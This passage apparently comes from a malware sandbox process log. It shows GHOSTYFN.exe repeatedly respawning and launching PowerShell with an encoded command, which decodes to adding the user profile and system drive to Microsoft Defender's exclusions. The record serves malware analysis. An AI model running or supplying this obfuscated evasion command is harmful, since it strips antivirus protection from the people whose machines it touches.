        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        48⤵
        
        PID:3172
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        48⤵
        
        PID:2636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        49⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        49⤵
        
        PID:2300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        50⤵
        
        PID:1884
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        50⤵
        
        PID:3340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        51⤵
        
        PID:8088
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        51⤵
        
        PID:8092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        52⤵
        
        PID:7036
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        52⤵
        
        PID:6544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        53⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        53⤵
        
        PID:3924
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        54⤵
        
        PID:208
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        54⤵
        
        PID:5444
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        55⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        55⤵
        
        PID:4704
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        56⤵
        
        PID:1028
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        56⤵
        
        PID:1532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        57⤵
        
        PID:5048
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        57⤵
        
        PID:5624
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        58⤵
        
        PID:3572
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        58⤵
        
        PID:7384
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        59⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        59⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        60⤵
        
        PID:7948
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        60⤵
        
        PID:7944
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        61⤵
        
        PID:5380
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        61⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        62⤵
        
        PID:3092
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        62⤵
        
        PID:5992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        63⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        63⤵
        
        PID:6780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        64⤵
        
        PID:4460
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        64⤵
        
        PID:5824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        65⤵
        
        PID:5780
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        65⤵
        
        PID:6280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        66⤵
        
        PID:5932
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        66⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        67⤵
        
        PID:3316
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        67⤵
        
        PID:5800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        68⤵
        
        PID:6112
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        68⤵
        
        PID:5332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        69⤵
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        69⤵
        
        PID:5396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        70⤵
        
        PID:5696
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        70⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        71⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        71⤵
        
        PID:5076
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        72⤵
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        72⤵
        
        PID:7052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        73⤵
        
        PID:2824
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        73⤵
        
        PID:6504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        74⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        74⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        75⤵
        
        PID:7784
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        75⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        76⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        76⤵
        
        PID:7756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        77⤵
        
        PID:992
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        77⤵
        
        PID:5884
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        78⤵
        
        PID:6104
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        78⤵
        
        PID:6480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        79⤵
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        79⤵
        
        PID:5920
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
